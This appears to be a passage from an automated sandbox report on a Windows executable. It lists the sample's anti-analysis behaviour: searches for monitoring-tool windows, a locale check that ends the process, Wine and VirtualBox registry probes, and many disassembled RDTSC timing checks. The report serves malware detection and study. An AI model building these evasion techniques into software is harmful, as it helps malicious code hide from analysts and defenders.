Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

6_2_00DA9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_6-58468

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF20AC second address: FF20B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162295 second address: 11622B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E4E9B9F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11612FB second address: 1161300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161300 second address: 1161319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E4E9B9EFh 0x00000009 jno 00007FD0E4E9B9E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116147E second address: 11614A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD0E506DD06h 0x0000000a jmp 00007FD0E506DD14h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11614A0 second address: 11614B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11615EC second address: 11615F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11615F0 second address: 11615F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116188E second address: 1161899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165046 second address: 116507B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FD0E4E9B9EBh 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116507B second address: 11650D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jl 00007FD0E506DD0Ch 0x00000010 je 00007FD0E506DD06h 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 pop eax 0x00000024 jmp 00007FD0E506DD0Eh 0x00000029 popad 0x0000002a pop eax 0x0000002b jmp 00007FD0E506DD12h 0x00000030 lea ebx, dword ptr [ebp+12446EC7h] 0x00000036 mov esi, dword ptr [ebp+122D3628h] 0x0000003c xchg eax, ebx 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11650D3 second address: 11650FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c jc 00007FD0E4E9B9ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007FD0E4E9B9E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11651AC second address: 11651B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116533E second address: 1165344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165344 second address: 116538E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007FD0E506DD13h 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FD0E506DD11h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jl 00007FD0E506DD14h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116538E second address: 1165392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11855FD second address: 1185605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185605 second address: 118560E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118560E second address: 1185618 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11836B6 second address: 11836C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11836C1 second address: 11836C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11836C5 second address: 11836D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD0E4E9B9E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183B08 second address: 1183B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183F45 second address: 1183F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FD0E4E9B9F3h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007FD0E4E9B9E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11840D7 second address: 118412B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FD0E506DD11h 0x0000000b popad 0x0000000c jmp 00007FD0E506DD0Dh 0x00000011 jnc 00007FD0E506DD12h 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007FD0E506DD16h 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118412B second address: 1184154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD0E4E9B9F8h 0x0000000c jmp 00007FD0E4E9B9EAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184154 second address: 1184171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD19h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184171 second address: 118417A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184604 second address: 118460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118460C second address: 1184630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E4E9B9F5h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FD0E4E9B9E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A598 second address: 117A59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F970 second address: 114F974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F974 second address: 114F980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD0E506DD06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F980 second address: 114F985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F985 second address: 114F9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0E506DD12h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD0E506DD13h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F9B7 second address: 114F9CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F1h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184764 second address: 1184769 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184769 second address: 118476F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118476F second address: 118478B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007FD0E506DD10h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118478B second address: 1184795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184795 second address: 1184799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184799 second address: 11847AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FD0E4E9B9EEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184F14 second address: 1184F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184F18 second address: 1184F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185061 second address: 1185065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185065 second address: 1185069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185069 second address: 118506F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118506F second address: 1185075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185075 second address: 1185094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E506DD19h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11851E9 second address: 11851EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118545C second address: 1185460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185460 second address: 1185470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FD0E4E9B9E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185470 second address: 118549C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FD0E506DD1Ah 0x00000010 jmp 00007FD0E506DD14h 0x00000015 jo 00007FD0E506DD12h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118549C second address: 11854A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11854A2 second address: 11854AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11891D2 second address: 11891DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD0E4E9B9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11891DC second address: 11891E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AA0F second address: 118AA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AA13 second address: 118AA17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AB6B second address: 118AB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD0E4E9B9EDh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD0E4E9B9F2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DAC second address: 1157DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DB0 second address: 1157DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DB6 second address: 1157DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0E506DD17h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DD7 second address: 1157DE3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0E4E9B9E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157DE3 second address: 1157DEF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0E506DD0Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119145D second address: 119146A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0E4E9B9E8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119146A second address: 1191470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191BAA second address: 1191BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191BB1 second address: 1191BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11923DE second address: 11923E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119243C second address: 1192441 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192441 second address: 1192485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 245BD5F8h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FD0E4E9B9E8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov esi, 6BD51F8Ch 0x0000002d call 00007FD0E4E9B9E9h 0x00000032 pushad 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192485 second address: 119248F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119248F second address: 1192495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192495 second address: 11924A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11924A1 second address: 11924C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FD0E4E9B9ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192FFB second address: 119302E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c jnl 00007FD0E506DD0Eh 0x00000012 push eax 0x00000013 mov dword ptr [ebp+122D205Fh], ecx 0x00000019 pop edi 0x0000001a sub dword ptr [ebp+122D260Ah], ebx 0x00000020 push eax 0x00000021 jnl 00007FD0E506DD14h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119302E second address: 1193032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119309F second address: 11930A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193197 second address: 11931A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193270 second address: 1193277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193A1C second address: 1193A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D2102h], eax 0x0000000e push 00000000h 0x00000010 mov esi, 4523C23Dh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FD0E4E9B9E8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D24F2h], eax 0x00000037 xchg eax, ebx 0x00000038 jmp 00007FD0E4E9B9F8h 0x0000003d push eax 0x0000003e pushad 0x0000003f js 00007FD0E4E9B9ECh 0x00000045 jno 00007FD0E4E9B9E6h 0x0000004b push ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11955B1 second address: 11955B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195C57 second address: 1195C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196E1A second address: 1196E24 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196E24 second address: 1196EA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0E4E9B9E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D1A30h], edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FD0E4E9B9E8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 jns 00007FD0E4E9B9F3h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FD0E4E9B9E8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 mov di, 91E2h 0x00000057 or esi, dword ptr [ebp+122D17F3h] 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196EA2 second address: 1196EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989D5 second address: 11989E3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989E3 second address: 11989E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
